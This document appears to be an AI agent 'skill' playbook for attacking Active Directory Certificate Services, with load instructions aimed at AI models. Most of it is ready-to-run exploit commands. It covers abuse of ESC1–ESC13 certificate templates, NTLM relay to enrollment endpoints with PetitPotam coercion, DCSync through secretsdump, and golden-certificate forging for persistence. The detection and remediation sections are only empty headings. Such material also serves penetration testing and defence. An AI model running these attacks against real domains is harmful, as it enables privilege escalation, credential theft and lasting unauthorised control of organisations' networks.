Active Directory Certificate Services

SKILL: AD CS Attack Playbook — Expert Guide

AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.

0. RELATED ROUTING

Before going deep, consider loading:

• active-directory-acl-abuse for ACL-based attacks that enable ESC4 (template modification)
• active-directory-kerberos-attacks for Kerberos techniques after obtaining certificates
• ntlm-relay-coercion for ESC8 (relay to HTTP enrollment endpoint)
• windows-lateral-movement for using obtained certificates for lateral movement

Advanced Reference

Also load ADCS_ESC_MATRIX.md when you need:

• ESC1–ESC13 quick reference table with conditions, impact, and tool commands
• One-liner exploitation commands per ESC variant
• Detection indicators per technique

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1. AD CS ARCHITECTURE OVERVIEW

Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│   ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│   ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│   └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│   ├── Subject Alternative Name (SAN): who the cert represents
│   ├── Extended Key Usage (EKU): what the cert allows
│   ├── Enrollment permissions: who can request
│   └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
    User presents cert → PKINIT → KDC verifies → issues TGT

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2. ENUMERATION

# Certipy (recommended — comprehensive)
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout

# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas                    # Enumerate CAs

# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
  "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage

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3. ESC1 — ENROLLEE SUPPLIES SUBJECT

Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.

# Certipy
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn administrator@domain.com

# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator

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4. ESC2 — ANY PURPOSE EKU

Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.

# Same as ESC1 exploitation
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template AnyPurposeTemplate -upn administrator@domain.com

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5. ESC3 — ENROLLMENT AGENT

Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.

# Step 1: Request enrollment agent cert
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template EnrollmentAgent

# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

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6. ESC4 — TEMPLATE ACL MISCONFIGURATION

Condition: Low-privilege user has write access to certificate template object.

# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u user@domain.com -p password -template VulnTemplate \
  -save-old -dc-ip DC_IP

# Template is now ESC1 → exploit as ESC1
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template VulnTemplate -upn administrator@domain.com

# Restore original template (cleanup)
certipy template -u user@domain.com -p password -template VulnTemplate \
  -configuration old_config.json -dc-ip DC_IP

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7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

Condition: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled → any template becomes ESC1.

# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags

# Exploit: request any template with SAN
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template User -upn administrator@domain.com

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8. ESC7 — CA OFFICER / MANAGER PERMISSIONS

Condition: User has ManageCA or ManageCertificates permission on the CA.

# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
  -enable-template SubCA

# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -template SubCA -upn administrator@domain.com

# With ManageCertificates: approve the pending request
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
  -issue-request REQUEST_ID

# Retrieve the issued certificate
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
  -retrieve REQUEST_ID

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9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT

Condition: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.

# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com

# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync

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10. ESC9-ESC13 — NEWER DISCOVERIES

ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)

Weak certificate mapping allows impersonation when CT_FLAG_NO_SECURITY_EXTENSION is set.

# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IP

ESC10: Weak Certificate Mapping (Registry-based)

Similar to ESC9 but exploits CertificateMappingMethods registry value on DC.

ESC11: NTLM Relay to RPC Enrollment

Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).

ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
  -smb2support --adcs --template DomainController

ESC13: OID Group Link (Issuance Policy)

Template's issuance policy OID is linked to a group → certificate grants that group membership.

certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
  -template ESC13Template
# Certificate grants membership in linked group

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11. CERTIFICATE-BASED PERSISTENCE

Golden Certificate

With CA private key → forge any certificate.

# Extract CA private key (requires admin on CA server)
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST

# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"

# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IP

Persistence: Valid until CA certificate expires or CA private key is rotated.

ForgeCert (Windows)

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
  --SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"

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12. AD CS ATTACK DECISION TREE

Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│   ├── Enrollee can set SAN + Client Auth EKU?
│   │   └── ESC1 → request cert with admin UPN (§3)
│   ├── Any Purpose EKU?
│   │   └── ESC2 → same as ESC1 (§4)
│   ├── Enrollment Agent template available?
│   │   └── ESC3 → enroll as agent, then on-behalf-of (§5)
│   └── OID group link in issuance policy?
│       └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│   └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│   ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│   │   └── ESC6 → any template becomes ESC1 (§7)
│   ├── ManageCA / ManageCertificates permission?
│   │   └── ESC7 → enable SubCA template, approve requests (§8)
│   └── HTTP enrollment without HTTPS?
│       └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│   ├── StrongCertificateBindingEnforcement < 2?
│   │   └── ESC9 → UPN manipulation + cert request (§10)
│   └── CertificateMappingMethods misconfigured?
│       └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│   └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
    └── Golden certificate for persistence (§11)

AD CS ESC1–ESC13 Quick Reference Matrix

AI LOAD INSTRUCTION: Load this for the complete ESC vulnerability matrix with conditions, impact, exploitation commands, and detection notes. Assumes the main SKILL.md is already loaded for AD CS concepts and detailed exploitation.

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1. ESC VULNERABILITY MATRIX

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2. ONE-LINER EXPLOITATION COMMANDS

ESC1

# Enumerate
certipy find -u user@domain.com -p pass -dc-ip DC -vulnerable -stdout | grep -A 20 "ESC1"

# Exploit
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template VulnTemplate -upn administrator@domain.com

# Auth
certipy auth -pfx administrator.pfx -dc-ip DC

ESC2

certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template AnyPurpose -upn administrator@domain.com
certipy auth -pfx administrator.pfx -dc-ip DC

ESC3

# Step 1: Get enrollment agent cert
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template EnrollmentAgentTemplate

# Step 2: Request on behalf of admin
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template User -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx

certipy auth -pfx administrator.pfx -dc-ip DC

ESC4

# Modify template → ESC1
certipy template -u user@domain.com -p pass -template VulnTemplate -save-old -dc-ip DC

# Exploit as ESC1
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template VulnTemplate -upn administrator@domain.com

# Cleanup
certipy template -u user@domain.com -p pass -template VulnTemplate \
  -configuration VulnTemplate.json -dc-ip DC

ESC6

# Verify flag
certutil -config "ca.domain.com\CORP-CA" -getreg policy\EditFlags
# Look for EDITF_ATTRIBUTESUBJECTALTNAME2

certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template User -upn administrator@domain.com
certipy auth -pfx administrator.pfx -dc-ip DC

ESC7

# Enable SubCA template (ManageCA)
certipy ca -u user@domain.com -p pass -ca CORP-CA -dc-ip DC -enable-template SubCA

# Request (gets denied to pending)
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template SubCA -upn administrator@domain.com
# Note the request ID

# Approve (ManageCertificates)
certipy ca -u user@domain.com -p pass -ca CORP-CA -dc-ip DC -issue-request ID

# Retrieve
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com -retrieve ID
certipy auth -pfx administrator.pfx -dc-ip DC

ESC8

# Setup relay
ntlmrelayx.py -t http://ca.domain.com/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Coerce DC
PetitPotam.py RELAY_HOST DC01.domain.com
# Or: printerbug.py DOMAIN/user:pass@DC01 RELAY_HOST

# Auth with captured cert
certipy auth -pfx dc01.pfx -dc-ip DC
# DCSync with DC machine account
secretsdump.py -hashes :DC01_HASH DOMAIN/DC01\$@DC -just-dc

ESC11

ntlmrelayx.py -t "rpc://ca.domain.com" -rpc-mode ICPR -icpr-ca-name "CORP-CA" \
  -smb2support --adcs --template DomainController

# Coerce + capture same as ESC8

ESC13

# Enumerate OID group links
certipy find -u user@domain.com -p pass -dc-ip DC -vulnerable -stdout | grep -A 10 "ESC13"

certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
  -template ESC13Template
certipy auth -pfx user.pfx -dc-ip DC
# Verify group membership added

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3. DETECTION INDICATORS

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4. TOOL COMPARISON

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5. REMEDIATION QUICK REFERENCE